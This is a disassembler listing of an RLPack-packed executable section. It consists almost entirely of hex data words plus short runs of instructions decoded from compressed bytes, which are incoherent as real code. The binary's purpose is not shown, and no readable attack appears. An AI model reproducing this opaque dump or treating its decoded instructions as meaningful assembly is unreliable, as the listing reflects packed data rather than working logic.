0A32C1484h dd 15397FEEh, 0A7D19700h, 2131EA1h, 332A0F17h, 0F6205A9Dh dd 5699CC69h, 0E79E181Eh, 73A5780h, 0C5C2E8h, 0BBB0ACF3h dd 0C9FBBC8Bh, 0D1C1CB00h, 0BFDC1C0Dh, 69C40066h, 3AB3E0D5h dd 0AE002EEEh, 0E6EFA5F6h, 0AC791Dh, 45D66FF4h, 3DF1A266h dd 72CFFF00h, 125FE326h, 0BDEC3Ch, 930E9764h, 69D8A0AEh dd 0C50AD300h, 0E4AC7B42h, 0EA2D0148h, 86504DAAh, 43FA8036h dd 4AB6B2B9h, 586D1F7Fh, 6D60022h, 38EE4F04h, 323A100h dd 63C79DC9h, 736A00CDh, 291085C3h, 0E20F7BC4h, 0C0C594E0h dd 0E91A517Ah, 920601DCh, 0D88C5AF0h, 0D61A837Dh, 9BA34CE4h dd 80CCF3ADh, 4903440h, 1CD7EAF6h, 302EC050h, 7100EB53h dd 72E0A5CEh, 378F525h, 1C8C7FDAh, 5C88F81Ah, 8900B9E2h dd 69715092h, 7AA6DCh, 5D199EC4h, 8DC002B7h, 0F149AE00h dd 1C7FBA2Dh, 0DCC30095h, 78C9224h, 4D004333h, 652137A7h dd 782302Ch, 98CB5031h, 3B09F053h, 9A167615h, 0A8008486h dd 0E0C507D1h, 0E8D1E2Ch, 8AB24006h, 0D0A150EBh, 0A9FB4D00h dd 0C56FCCCBh, 0CE513BD6h, 4BE700F3h, 63ED6A66h, 2B00DFD2h dd 21DA10Fh, 0AA55EAh, 0D0E6CC26h, 0E2F56706h, 0DE01431Eh dd 95F3E840h, 1DF7F117h, 5D3D3F44h, 1F7D7C0Ah, 41994830h dd 7661B595h, 8029D490h, 33208100h, 0D086F577h, 6FD9013Bh dd 75DC7057h, 0E0007E65h, 0EF84B583h, 1663DCFh, 7276F000h dd 0AECCC11h, 8018D100h, 6A8D4ACDh, 791EE09h, 0B3E4EB67h dd 5772909Ch, 5458A3BEh, 34C30A32h, 0CC03D712h, 0D3060962h dd 9A37B8C9h, 0BA8100BCh, 0C0F0705Ch, 0CA3D9F27h, 0EDF8800Eh dd 0DE55CEA3h, 0ABC40792h, 9038C5F5h, 94BA9190h, 10766E2Ch dd 2FA4003Eh, 46E8F33Ah, 0D0EC8Dh, 6A9D3CC1h, 261E32FAh dd 6C4F550Bh, 25EA00F2h, 0F40D8254h, 0E7E300CEh, 8E3C789Bh dd 1AB0B8F3h, 0DB7F811Eh, 0A6706D80h, 0FCBBE5A4h, 5579A1h dd 0DE078E22h, 4AE41976h, 722D9A0Eh, 209440EEh, 3BE21240h dd 9200CE75h, 0AA1FF784h, 61001CAEh, 7CC789ADh, 3E861965h dd 0F08013DBh, 0CF6A5B17h, 4C00344Fh, 98A0E9DCh, 8569CCh dd 6CEB482Bh, 75F4B274h, 0D1840300h, 561C0253h, 0C260029h dd 42CB855Bh, 2A00A2A3h, 2511158Eh, 0EA2474h, 0DC318B30h dd 5EC4E259h, 63AFDA00h, 36C8E993h, 8F833F2Dh, 6457B880h dd 9EFBC9D0h, 0E28B3400h, 0F1FF4DA2h, 98EA1Eh, 1BB6D12Ah dd 0CC2725F6h, 0E8007BE4h, 0E145ECF5h, 0C50BC1h, 38D9C674h dd 5D7A0DBAh, 9165A200h, 0C2B3128Ch, 965C006Ah, 35486757h dd 8B1EE915h, 3004973h, 32752871h, 13720088h, 5EED65F3h dd 0F10052A0h, 26EB1117h, 3EADBBh, 70933F4Ah, 0A66822B8h dd 40EE38h, 0C6C1CF4Dh, 0B06426h, 0D1899D2Fh, 0EB324916h dd 3C510100h, 5CA4748Dh, 3B2400EAh, 4E820FD2h, 2B38EBAAh dd 463F0075h, 932DE174h, 728FE007h, 5CBB0F91h, 0C0BE4AC4h dd 0E056F91Bh, 7E3C1376h, 6ECA00E1h, 9FF482Eh, 0AB800B01h dd 0B58ED0ACh, 0ECEE4AA0h, 0DDFC5A95h, 2A20DF00h, 4671548Ah dd 390F07D3h, 30A15E48h, 0B1CB368Ch, 511B000h, 5AF46776h dd 0C88700F5h, 62CAC5DBh, 0A07C9D2h, 0F2A27BBh, 0CE36AD80h dd 7567D09h, 1EA34AA0h, 0FABBF25Ch, 294FC3E0h, 7FA6200Eh dd 502FA093h, 1E11D72Ah, 0ED7A84h, 9D5A858Fh, 0E0004A8Dh dd 3DCFF359h, 1D98F9B0h, 0FD29C07Fh, 0AA5908Fh, 0B8CE4BC0h dd 210077DCh, 803770C7h, 4975ECh, 855F19F0h, 3F7DC5D6h dd 43AEEE00h, 7EF72F5Ch, 62330003h, 50328856h, 790E023Ch dd 45E621FCh, 9183598Bh, 0D0D624h, 0D082CEDDh, 63150F7Ch dd 0F4CB5Ch, 1DED92B1h, 4EF676h, 6252C3ECh, 9B6902CFh dd 0F9CE5C01h, 0ACD16C55h, 7923D6DCh, 731F773Eh, 50F53B1Eh dd 0FB00005Ch, 0A91422B0h, 3C00C8A0h, 4EFC53F2h, 500419h dd 881A2E02h, 444DA90Bh, 34BE2800h, 6553EC1h, 9A6C0FE6h dd 3AA0B99Eh, 0C701ECCEh, 5F17FA02h, 0E0D3C853h, 0E92D30h dd 0BA6C4B4h, 19C632BEh, 2A716400h, 4DD4DCA5h, 5111009Dh dd 758A4ACh, 898FF05h, 0F0663Ch, 9E3C0332h, 0AB708Dh, 69A4EE4Eh dd 0B7C214CDh, 7BB59600h, 21E95B8h, 73AE0047h, 222ED176h dd 0CA00FD44h, 50721CDFh, 0DA931Bh, 7EDC4116h, 0DE40B9EBh dd 77B62501h, 0C60D647Ah, 3C8CE0h, 69810B3Dh, 3F7348C8h dd 0CE7CD600h, 0E4068AADh, 0A21400DDh, 7482C2EDh, 5CECFE70h dd 3669B600h, 0E27DAFC0h, 0BD22004Bh, 9687B36Dh, 6E00FEF9h dd 7CE1E5Fh, 18A4D3h, 3FE230BBh, 5120C7BEh, 0B24FEF00h dd 0F70AF857h, 147607BCh, 8081FA33h, 864B093Ch, 0F9A32900h dd 916EB302h, 13D30082h, 0D5E04CB0h, 693B7C76h, 0AA0074B4h dd 0E12D8808h, 0E2B88BDEh, 0D7B90032h, 30D9C579h, 0B73A8709h dd 95679F5Bh, 9A0D28C0h, 1CE83783h, 43D94177h, 0A04959BEh dd 58F800D7h, 2E00B89Ch, 16DC2392h, 38860F4Bh, 0C100FB3Eh dd 7CA63C76h, 95005E12h, 6B7EB1C2h, 0F7C855h, 92653898h dd 0A3D80E74h, 0BA3A080Eh, 0E7EAC024h, 19A2E0h, 0FAE48BFFh dd 0F8DD1FA5h dd 0C82B5700h, 6F2245D2h, 8E840095h, 5B375D24h, 8700034Eh dd 3EDD5188h, 0BF44CDh, 91748659h, 2ECE8908h, 0C0A1D200h dd 0CB23F905h, 791B00BEh, 0BA8EA397h, 80000F25h, 0E90107B0h dd 2CE31C26h, 17FD3429h, 0E15E0090h, 0BFE6F315h, 4C76F200h dd 440CE8F5h, 0BADD00F8h, 5D15E240h, 313FC3A3h, 9E8903C4h dd 0E093CFA7h, 0EBD0F83h, 0BF80B291h, 87AB2F81h, 7C457075h dd 3698520Fh, 96314182h, 89C84376h, 47AD1D58h, 1BB200E9h dd 98AE4F45h, 0BE00F375h, 78D08085h, 1C2CD12Bh, 0C00A1C39h dd 0E18967DCh, 4F009E5Dh, 1185B60h, 0E0756h, 8069D9D2h dd 5C1F3CF0h, 0C56EE81Dh, 0C310D840h, 64455Eh, 8425D6CCh dd 0F8799748h, 68FFB201h, 148D54C4h, 1E2009D0h, 400AD698h dd 0EC2F5AEAh, 1600A4BCh, 61DFF178h, 5A364F83h, 0BEB1F05Bh dd 9DCB6901h, 0B1A8F3F5h, 7C41ACCh, 0A1A0A291h, 1BF71024h dd 0ED0060ADh, 34390D3h, 141A1E61h, 0BEAF7F42h, 53E9900h dd 1CB517E5h, 60C47500h, 134C66C3h, 0CFE005Dh, 53DAF4E0h dd 0CFEC9D42h, 2A65B800h, 0BB077E87h, 832500A8h, 29EC6AD5h dd 100FBB3h, 0CBC1F718h, 1F71E9FDh, 5FAC62BDh, 0F2E641DDh dd 0DC6D67CFh, 0E53F4E12h, 253C1Bh, 512E1683h, 5486Ch dd 98C3BE77h, 380C3EF8h, 6DAC5200h, 0E0DA2ED0h, 0FAF2A8h dd 10961FF2h, 5F9EDC6Ah, 1E898F0Bh, 0AD1F0029h, 3B1F20B3h dd 53807D14h, 8819F7B9h, 7501D152h, 0E6D7334Dh, 8BC0B8A9h dd 4E220740h, 60F9B134h, 0A63623FAh, 89483Fh, 0C6DA57A7h dd 0B688B7h, 0B8C29BD6h, 0D0D9C782h, 950316E6h, 0ACF2522Dh dd 7655A8AFh, 5C7103A1h, 0F71E74DDh, 434778A0h, 8340CC00h dd 80B88434h, 1DA2006Bh, 7E235C2Bh, 4801756Ah, 3F0E0964h dd 43EC30C3h, 59E8007Ch, 54FFF03Dh, 62095C24h, 0DC6B060Dh dd 78B400BBh, 0CCD2592Ch, 0AA708800h, 0DAC1E4F8h, 36C6008Bh dd 0B1EA9721h, 0BB1CEBFFh, 9E0082F4h, 502DCCA2h, 0E0C4C032h dd 0CB7C9957h, 457B9100h, 0AA4F04D5h, 8E98E9h, 0B69F8388h dd 5D467ED9h, 3CB4CA00h, 76B25956h, 65A300B3h, 102D4944h dd 573F8036h, 0D500728Ch, 0E84BB8A8h, 0CEC8B7h, 0AF9CDDBCh dd 2AF79BD1h, 0A2E9901Eh, 0F4F1B900h, 3F202ED8h, 0F68E8FAEh dd 49038DE8h, 0E2D08633h, 0EE00EDDBh, 0B14DC923h, 3EFC50CCh dd 3A00DA10h, 0D23643DEh, 0EC006082h, 0E61EE33Bh, 0C7AA7Ah dd 1D42BC4Fh, 0A8FEE70Ch, 0DC6BEF02h, 40E987A4h, 1E8C41C0h dd 813F8DB1h, 0DFEE63ADh, 0CDD0D7EAh, 0FD0B73F3h, 5F9A50h dd 39705851h, 60503FEh, 8C0FCF30h, 8FA219B0h, 8744700h dd 0D65DA8AEh, 96B4004Fh, 4C04E829h, 0C41CD5DCh, 0F4004EDFh dd 2CDA0B9Bh, 0F99C0295h, 0C9DC0639h, 0D199CE0h, 2CA33C26h dd 0B2E40800h, 749D91h, 689331CAh, 0AF8452F2h, 7CFCB5Ch dd 0EE0D830Bh, 39E518B0h, 341C01D1h, 0CDBC84D5h, 2C38E01Dh dd 0F3EF5700h, 8C8D3BC4h, 0E6905Eh, 799BD85Fh, 51821FCFh dd 0CB276D00h, 7314DCC0h, 0B11203E5h, 4D7A6A3Bh, 49DA7CE0h dd 8804E1Fh, 59A1FC80h, 1D2056C0h, 7FE07317h, 83A5E793h dd 0EEF09033h, 30003393h, 6C254301h, 7779F14h, 2EA2F091h dd 9069F7DCh, 0CF7465AEh, 4C5AD70Eh, 31F78080h, 3B5CD8h dd 9DAF09ABh, 5A431D0Dh, 5E242000h, 15E0A86Eh, 0BBB7009Bh dd 0E2623FF0h, 0E1176B2Dh, 0EF1DAD9Ch, 23F3E940h, 2E2783h dd 3CEE41EBh, 64F650ACh, 0B646E000h, 0CC288299h, 5FE73A69h dd 313F6600h, 680DC25Ah, 0C4730807h, 57D04E3Dh, 3CF48A44h dd 0D71E7B1Eh, 41C1C05Ch, 58B05DA0h, 65AB690Bh, 0D0F4809Fh dd 1869C1Ch, 0DE134136h, 0C060FED6h, 21002D2Eh, 6C3168B2h dd 0AA26EFh, 8732F046h, 672B844Bh, 0D4500200h, 0D743BCF6h dd 8F3800DDh, 0E94F6645h, 0C003B17Ah, 42CF8CEDh, 8A0D802Ah dd 0D1880099h, 0B156B687h, 0DE007E02h, 0A50B82FDh, 1E8C22F3h dd 4035777Bh, 535EF126h, 6439E1E4h, 0AB4D0070h, 6A9346DFh dd 0D9221F20h, 0F88F4076h, 9D564C2Ah, 0EF501306h, 0F54D815h dd 0F13FD94Dh, 0EA2A6F00h, 8E03B64Ch, 195C49C3h, 3AA0D09Fh dd 9C7300C4h, 0ED1C8CEBh, 0E6FC8F29h, 0F20088E0h, 0F717BB36h dd 2325CCh, 7069AC86h, 940B18BDh, 0BF3B8198h, 6359173Eh dd 0EDB02701h, 21706270h, 0FE301DC1h, 5F1F01ACh, 0E0CFD0B5h dd 29007797h, 0BE0D16EAh, 0AEEA3h, 9AACEB4Ah, 0CE5D80D5h dd 336AA400h, 96FFAF1Bh, 167A0FDDh, 42012D54h, 0F415ADB9h dd 4F052941h, 1C05BE6Ah, 67659D00h, 37F6A2h, 3FA91D8Ch dd 56A3FE9Eh, 0C84CBD00h, 5C0C04D7h, 6E4E03CBh, 1711EC47h dd 0A1CFABB8h, 226FFF00h, 0E2B90BFBh, 0D1D80773h, 40F791C6h dd 42E98F2Eh, 0AFE59300h, 593007F0h, 248663D9h, 3D8B1FEh dd 0C20032E9h, 0A0101D73h, 1834B8h, 0D13A9A0Fh, 0DBE70853h dd 661FB60Eh, 55CE0571h, 0A9A6E0h, 32E3D205h, 897268F1h dd 79C8D900h, 1A061CC9h, 8881003Bh, 38F5B23Ah, 0E17B2D56h dd 450F98E4h, 0E03E5F30h, 0CB778F4Eh, 532C1DEFh, 3C8CC021h dd 6AB2A042h, 19CF6D1Ch, 38485D03h, 83B4D8E7h, 812000FDh dd 0F7230F94h, 9A0027EEh, 47C88B5Eh, 0D62C11h, 1A25F868h dd 1412233h, 0C66E3Ah, 536C4CC7h, 0FE6118CDh, 64B901CAh dd 67A92F82h, 22806F7Eh, 0E7852B6h, 0D342DF34h, 0B7A103D6h dd 39E09356h, 2E1CCDD4h, 220038D2h, 0B5A5575Dh, 0FA230FCEh dd 0B1202FD8h, 281198DFh, 0DE4B7700h, 0DB0216BAh, 42A20E6Dh dd 6AA3D669h, 58F84D80h, 2A1C20C0h, 0FB80299Fh, 0AA43EB36h dd 0DC130EE3h, 0F04027D4h, 1BEAA20Ah, 7976050Fh, 1A9C8053h dd 64DC81h, 0AEFD9432h, 5062878Bh, 0B2EBAF00h, 0D9677071h dd 3CA800F6h, 8B4D2229h, 7A03BAB4h, 0D7179F8Dh, 0C846D0B7h dd 45E257h, 0D5054F6Ch, 4073227Ch, 13CF1A1Dh, 0DA0F65DEh dd 2B8BE0C8h, 7A2C33h, 4B8821F6h, 638470F8h, 5F074200h dd 900E2D96h, 13D7041h, 0FE18DE2Ah, 0F8EAC533h, 0B871A8h dd 0B9AC3Eh, 0DFFABA3Ch, 714522Bh, 0DD419167h, 0DE4A80F4h dd 0FD7F16EEh, 0A350D400h, 64ED927Ah, 0F0D2F062h, 99130021h dd 0DAAEC2BDh, 1D00384Fh, 679AC85Bh, 769D863h, 4C5E9C36h dd 436BD061h, 5C004D34h, 11F416CAh, 0E3321Ch, 5623C92Ch dd 25422958h, 2600F2F2h, 39F81477h, 38DDABB8h, 9FBB61DEh dd 0CAE9B080h, 0FCE159Bh, 852F8700h, 0D01706FEh, 1DF01F50h dd 0F66A018Fh, 0E0215C2Eh, 55000952h, 33432737h, 0F7E7E0h dd 0FBAFB291h, 0A538A23Eh, 5D032474h, 3F43FE04h, 649FF0A3h dd 9688008Ah, 6E21E798h, 0DD001AEAh, 7680A7FFh, 94F28Bh dd 9C74CFD7h, 280732FCh, 77E5DE07h, 84640231h, 0A5F66A80h dd 21BA1FFDh, 748240C7h, 300CDE14h, 251D0F00h, 0E397F1DDh dd 83020094h, 6E432A9Bh, 920BF76Ch, 80716BC9h, 0E4C6204h dd 34C8037Ah, 76BECE0Dh, 0EC1041C9h, 5B00BD25h, 6E66FBD2h dd 2EB7BA4h, 4F3E89E2h, 0AE80C309h, 39FCA863h, 9BE5C500h dd 18554C60h, 0C7E21711h, 0FDBF00D3h, 31D673F9h, 51F7B07h dd 8C606379h, 0D91C04h, 1F9ED16h, 9456C806h, 0B5088200h dd 7C42A853h, 29B20030h, 2EA0C0F5h, 6E8E958h, 0B9115700h dd 0ACBBFC80h, 0C430007Ah, 42DC6524h, 4E00D270h, 1AD75B06h dd 51125Fh, 0C586855Ch dd 0C257E0D5h, 0CA4D8C01h, 4D9304Fh, 764048D4h, 0F73C00A7h dd 0BD4F56Bh, 7100B0AEh, 3273EC4Eh, 6674DFh, 0F59B10F1h dd 0F7C1F470h, 0DA63370Bh, 0BD5380E3h, 0C7DE8Dh, 2B4134EBh dd 54F3A630h, 0D264A400h, 0D1CCBE4Fh, 0EC890052h, 11B76AEFh dd 0FC00059Eh, 257190F0h, 0D755E9h, 5A0F8780h, 774159FFh dd 61041D1Eh, 39018AA4h, 4DC537E5h, 19312321h, 63BCE0h dd 0B2AB1ABEh, 15E6A12Dh, 0EFED3300h, 6B245045h, 0ADD100B4h dd 0BDB57E4Ch, 8100D3C8h, 0B7579B2Ch, 93EF03h, 0B6D078F4h dd 99529A23h, 55C01400h, 0A795BCBh, 0B2F80036h, 9FFCA5CDh dd 93E0E15Ah, 0FAF9D400h, 1817769Dh, 0C45E0007h, 0EE1CA381h dd 110951A9h, 5C27E7h, 8ECB2ADEh, 17EEACEh, 55622471h dd 606E8DF0h, 0AE004165h, 0C30DC717h, 275D47Eh, 0F7398FFAh dd 6840C2FDh, 5B6042F0h, 4B85FF60h, 0E95C0012h, 91868E8h dd 1E004058h, 0C71D068Ch, 1636D8h, 0FD253369h, 0ECAEF199h dd 0D7B3F801h, 7826E3A5h, 1D222D20h, 0B1912h, 6CBCE481h dd 0F20005BBh, 4D131BAAh, 2DA913Ch, 36D58AE7h, 136043B4h dd 0C20066CFh, 8FE4B390h, 0F3143Dh, 0AE0A7F29h, 0E090858h dd 6395541Eh, 9B79A381h, 0F0FF2B26h, 0D1879Dh, 0DE17CAF9h dd 0E8776A2Ch, 5D1AFF00h, 54E1E68Eh, 8AF80045h, 0C6CC55Ah dd 731DCD76h, 0E903E28Fh, 0F0E5B2C8h, 0EF92F6Eh, 68B1BB8h dd 7AAE4400h, 5B006A82h, 0E7B16F19h, 0E907975h, 0F777705Fh dd 0AE63C4E7h, 181ED6C0h, 0B901FA56h, 0A2D5A96Ch, 0FFC80399h dd 68E40040h, 988011DCh, 409F38B4h, 8D1CD7h, 48261B2Bh dd 0CEDF0919h, 72100300h, 0F90E4EB0h, 0C63600F8h, 979D15E4h dd 0AB0005BAh, 20097417h, 0EE2E9912h, 48900089h, 0EC4FE449h dd 3C075BD6h, 0DCB9B66Fh, 9942C910h, 0C86900EDh, 65E3C27Ch dd 7302D063h, 789083FAh, 0A3B94095h, 470A0EDBh, 0BC2075EFh dd 1DCCA4BEh, 30D8F900h, 4DDBD7CFh, 0D6180033h, 0DFBE8D84h dd 17F8D26Dh, 4BC92200h, 0A9DC1504h, 28A80131h, 569F068Ah dd 882DFC8Fh, 5A7DF500h, 7A90DD71h, 290D004Ah, 0CCBDD345h dd 0C901CE4Ch, 5D54F78Ah, 64CC5E0Eh, 0E417FD7h, 31894DB6h dd 0FE1C03Dh, 555C73ADh, 0B5446200h, 0B31904A5h, 0C3C7005Eh dd 54FDD9A6h, 130F68ADh, 677BE26Dh, 6F40EB47h, 0EF025Bh dd 0C48B34DCh, 5E70DB5Dh, 78FC8E2Eh, 75444900h, 9A1DADh dd 0A77CFEDEh, 85F2EA78h, 48EF6F2Eh, 37005A16h, 19943383h dd 0EC140090h, 8A22081Ch, 0DF16B2E1h, 0F4009EFFh, 56E6ACDCh dd 0E21000CAh, 7753BF64h, 0B798332h, 0A7D3E400h, 414DAED4h dd 0FC8500F5h, 165E2593h, 69003E62h, 21C8C95Ch, 3BD7FB03h dd 0E68ECB33h, 0F4078555h, 10E30023h, 100545Bh, 80FDC0A3h dd 0AEEDCBh, 3A4A8513h, 4B70AAB7h, 0E5D24800h, 51193CB8h dd 3D37221h, 0AEB618D0h, 63908AA3h, 0D600EF36h, 0AF32D45h dd 997E92h, 0EC27DC1Ch, 0D1492342h, 8C71DCE3h, 4FB38700h dd 0EA3B8812h, 0E7B700DCh, 0A47319D9h, 9E162CD8h, 8C00E180h dd 8A93756Bh, 0ACC800AFh, 0EFC69D4Ah, 0D200B86Eh, 36336266h dd 704D6Fh, 1DFC869Bh, 8EE3AC37h, 0D8E02800h, 0DE429724h dd 0B5A20017h, 0C6C4C96Ch, 51075A4Eh, 0C8A15D74h, 22313CD0h dd 5EE49Ch, 47733752h, 0B3389787h, 8FFD5600h, 75908069h dd 0E586003Dh, 94434963h, 0B8588BC3h, 2404005Bh, 7DB5D916h dd 6E500069h, 0A44DF3ADh, 89034BC3h, 1287DB55h, 8504F8FBh dd 0EE7000D8h, 0C1275115h, 21013057h, 0F77C592Ah, 65307A3Ah dd 1D10004Ch, 56A59E24h, 9A03C0E2h, 20552611h, 0DF22F87Eh dd 806C00E8h, 36FAAF6Dh, 4FAC808h, 2800107Ch, 476BE0A0h dd 50F29Eh, 48E6E9D2h, 499DBD85h, 89FFE300h, 7808B416h dd 0A68D0061h, 4FCB5EA0h, 3D003301h, 25880911h, 1DD83Fh dd 747CDB4Ch, 31B09F6Fh, 9AB27200h, 1C4D69F6h, 0F8100055h dd 0CC8E38ADh, 0E7062274h, 2D1B0384h, 1E5C00B4h, 3B4A088Dh dd 210F1898h, 0C0DE73C6h, 0B3550716h, 0DC7907F7h, 0E1D61A4Dh dd 0D44AF1B5h, 0C700673Ch, 38277CE4h, 31729Eh, 0C0C56808h dd 2ABE800Dh, 0DF9F9100h, 0D35C5022h, 159B005Dh, 87DC61Fh dd 0AF00DC3Eh, 0E6483A63h, 5CEC7Ch, 9F9B85EFh, 8874A7FDh dd 47B11C00h, 1E3FDC19h, 0B42C1F4Ch, 30068E10h, 0BDDBA6C0h dd 590055DEh, 0A44C2F78h, 1D665Fh, 0EFF9672Ah, 0E30E5BE1h dd 0AAEB0901h, 0DEA22989h, 0E0EC4B70h, 144B004Dh, 16C2D4AEh dd 0AA009E76h, 0B7E00FB4h, 0DFFA2Fh, 4C439BB9h, 2049B1C5h dd 0E67EF401h, 19AEAF95h, 86E8FFE5h, 501838CCh, 5CEBC600h dd 9AA1EEB7h, 3B326B01h, 1158B088h, 0E04CC1F4h, 0FE1A00F5h dd 0A4D8E21h, 0C000DA48h, 5191D5EEh, 165F32CFh, 0DB688h dd 7C206092h, 2F0021ADh, 664F346Ah, 0D78458h, 10172C9Eh dd 240D69DFh, 1F8B5B00h, 7D26ADBFh, 0D5A700DDh, 9283BA4Ch dd 0C800ECB6h, 96739D95h, 0F637CF67h, 27D3004Dh, 0D5D9CE0Ah dd 0EC003E75h, 0F001C228h, 0EBAB445h, 0B1D41D39h, 63B0C35Fh dd 0C0E5F7A2h, 116FA412h, 2DD1370Fh, 5F77013Eh, 50E4B919h dd 78313FF3h, 86FA2300h, 0B8A01395h, 0F3AD5Ch, 6C199253h dd 0A3D9BE7h, 7081687Dh, 8FA800EFh, 951C43EFh, 69376007h dd 0C1A0CA41h, 0E2E1ADDh, 4813C4C7h, 8E78B220h, 350053EDh dd 1AFCA23Dh, 0EC04CBF5h, 2C10366h, 0A30ECCDEh, 2A9B4AF0h dd 7211D3Ah, 13FB5D3Bh, 0A0735403h, 0F1092Bh, 0BB96D6A0h dd 0F54BD0AEh, 7162051Fh, 0ECFCCBC0h, 1FF6EF52h, 7B178B8h dd 0B04CA936h, 0DF2A0523h, 0B29E4F30h, 1B0F80h, 3E96E82Fh dd 0E62266C0h, 34E47A00h, 318AA73Fh, 0A163000Ah, 0FB809C2Eh dd 1C0083A6h, 0B64AC187h, 0EBD397Ah, 6857243Bh, 0CA2A4340h dd 0EA009975h, 6D732E50h, 497458h, 5E687BCCh, 0F6DF35D6h dd 910D2800h, 7F58454Fh, 75FB2FB9h, 990099DCh, 0FDCBAC48h dd 707460h, 7E416FB8h, 33DA270Ch, 155BB000h, 7312994h dd 385901A6h, 0CFBA823Ah, 0C648E4E7h, 884D0200h, 0F1B8B110h dd 35150BF6h, 0CB008FF0h, 0F37B6CFBh, 6A004F5Bh, 0DA717902h dd 492000F1h, 7A14B684h, 0C000F7CAh, 1E2EF6AAh, 0F89674DBh dd 0FD6C3B52h, 0D0D22B00h, 0BCD5F3EDh, 0AD0F40E6h, 0EF75BF4Fh dd 0BA005771h, 32E82C1Ah, 0D3D0FE4h, 0BD2069D4h, 0ED23B8DDh dd 46B95703h, 0C0353F52h, 0EFEE0C0h, 3CE65BC7h, 8302DF60h dd 500ED9C8h, 1CD25E3h, 427D4E2Fh, 45A7E8h, 33875190h dd 99E523A6h, 0BBF48100h, 6AC06491h, 96EECEh, 3265DB8Eh dd 0C90DEB07h, 0CA4B7E00h, 5472853Eh, 3C0A00C1h, 0AC32E221h dd 0E4002830h, 0E0DE570Dh, 72ECF29h, 0F3E661C9h, 7BF770BBh dd 0ED3D4679h, 92300052h, 0B80234F1h, 0A7B41C87h, 0AEEE64h dd 2E6E91F7h, 7A00E1BEh, 5C8E92C1h, 1356FBA9h, 0A4554Ch dd 719D1B80h, 0E80E5F1Fh, 0C046F5B2h, 0D6E5075Bh, 33510047h dd 0B627CF64h, 2D0F5A3Bh, 374A4661h, 0C0751EFFh, 9E93554Fh dd 6F724C10h, 3BFF1500h, 0E1731DFDh, 0FA7B0053h, 0A118B86Dh dd 0C30076F7h, 0BEFB08CFh, 78C13C2Bh, 6DB00033h, 58359E2Fh dd 0AF3C0A88h, 0C6478BB6h, 0E0D78E32h, 515345DCh, 9A3B006Fh dd 4C937440h, 681FCFB2h, 1DC0770Dh, 446A855Ah, 0F70FE3Ah dd 0F23FC8A4h, 0DD313960h dd 0B27B53C0h, 0D29F5700h, 0A78BEE35h, 0FB930AC4h, 859297h dd 40ED5FDh, 0D300EBE7h, 27688759h, 7C9B45h, 703FC9Fh dd 0F0082854h, 58200A1Dh, 6378F580h, 3569B0Dh, 8291A46Bh dd 24E0E0A9h, 0D70195DDh, 297A080Ah, 99F1D9CBh, 1EC2EDE0h dd 8034B07Dh, 8A42FF66h, 0A000DBF9h, 0C6B32D27h, 38681E9Ch dd 4A00DA99h, 92941C36h, 260048E9h, 555FA73h, 0E4B0667Bh dd 7E3707EAh, 616D2C89h, 0D4124ABBh, 953EDCEBh, 853680A5h db 0F2h ; --------------------------------------------------------------------------- loc_4FD1D9: ; CODE XREF: .RLPack:004FD254j std not dword ptr ds:0BF3F009Dh cmc mov eax, 4A8E2AB7h add [eax], ebp wait ; --------------------------------------------------------------------------- db 0FFh, 0EEh, 0F8h dd 97C2813Bh, 0C0F601h, 0 dd 0E0447034h, 86B625Eh, 8C0F861Eh, 80F511C0h, 1706160h dd 255F01Ch, 20F10129h, 8530EC1h, 5C0334FFh, 6A107418h dd 0E2ADB001h, 9952E103h, 0A32A0004h, 320051F2h, 0EF3196F8h dd 3D8A6C7h, 0AD2883E2h, 0C4B88E7Eh, 6A106F9Ah, 800CFDAh dd 0E90148E1h, 700F730h db 0Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jb short loc_4FD1D9 jnz short $+2 xor al, 3Ch inc ebp or [ecx], bh dec eax stc cmp [esi], bl db 65h, 67h lock sbb al, 0F8h add [ebx], dh rol byte ptr [edx+53h], cl pop es push esi add [ebx+41570C70h], cl ; CODE XREF: .RLPack:004FD2A1j fcmovbe st, st(3) jecxz short $+2 sahf xor [eax+edi*8], al jge short loc_4FD2F6 cli add [eax], eax ; CODE XREF: .RLPack:004FD291j out 89h, eax ; DMA page register 74LS612: ; Channel 6 (address bits 17-23) inc ebp aam 3 enter 0FFFFC3B8h, 3Fh cmpsb push 4B3FE080h dec edi push es jnz short near ptr loc_4FD27E+1 add ds:0C61C8136h, al inc ebp or edi, [esi] add ebx, [edi] pop ebp ror dh, 1 jge short near ptr loc_4FD26D+2 rcl byte ptr [ebp-18h], 1 push es add [eax-20h], al in al, 80h ; manufacture's diagnostic checkpoint fdiv qword ptr [edx+esi+0Bh] add [ebx-1CF1FBA9h], cl ; --------------------------------------------------------------------------- dw 0F3FEh dd 0BA3700ABh, 63EAC0Ch, 8400056Ah, 0C807FC79h, 8B59FFh dd 55607E75h, 36B60F0Ch, 0E2C10300h, 0FFD60B08h, 492A0037h dd 0E975F064h, 3B004D39h, 33807718h, 5E5FC0h, 0F5C2C95Bh ; --------------------------------------------------------------------------- mov bl, 72h loc_4FD2F6: ; CODE XREF: .RLPack:004FD27Bj test al, 23h add [ebx-7B24E10h], bl adc byte ptr [esi-14h], 0 shl ecx, 4 add ecx, ebx loc_4FD307: ; CODE XREF: .RLPack:004FD31Fj push esp cmp eax, 60100B2h lea edi, [edx+ecx*4] jnb short loc_4FD329 and al, 1 enter 4D80h, 9Bh adc dh, [eax] cmp bl, al retf 0BAh ; --------------------------------------------------------------------------- loopne loc_4FD307 xchg ecx, [ecx+0F8B3922h] add [esi], bh loc_4FD329: ; CODE XREF: .RLPack:004FD310j lock popf out dx, al or eax, [ebx+75F6F1AFh] cmp ecx, [esp+edi] cmp byte ptr [edi+1], 0FDh mov byte ptr [eax-42h], 0A8h aas out dx, al sub eax, [eax+30530C7h] push ebx mov [edi], esi add [eax], ch push 0AA819975h and ecx, esp push eax lock or dword ptr [eax], 0 pop ecx sub cl, [ebp-2Ch] push es jmp near ptr 9650C233h ; --------------------------------------------------------------------------- dd 0ADC46EFh, 0E642EC03h, 0F66904F7h, 80A71485h, 7F87D2Bh dd 0E8C8D00h, 161C6CD8h, 7A081DACh, 0F39FC00Fh, 2B7CF040h dd 0B9E85000h, 0C84C614h, 1C2C0031h, 0F665D1F4h, 0E030690h dd 0E7810875h, 9C30D81Ah, 0CE170F0Ch, 4808E6Eh, 0A648D845h dd 2A115D30h, 0ECE6C11Bh, 0C878F3h, 73F10910h, 67A25E1Fh dd 50D8CE00h, 89FF85D2h, 0F31003Ah, 0EBA782B0h, 0C2002919h dd 8BC62B48h, 0ED1D8Eh, 0A08030CEh, 8D0E89D8h, 5125400h dd 81677401h, 781000FAh, 0FF73189Dh, 6106EB02h, 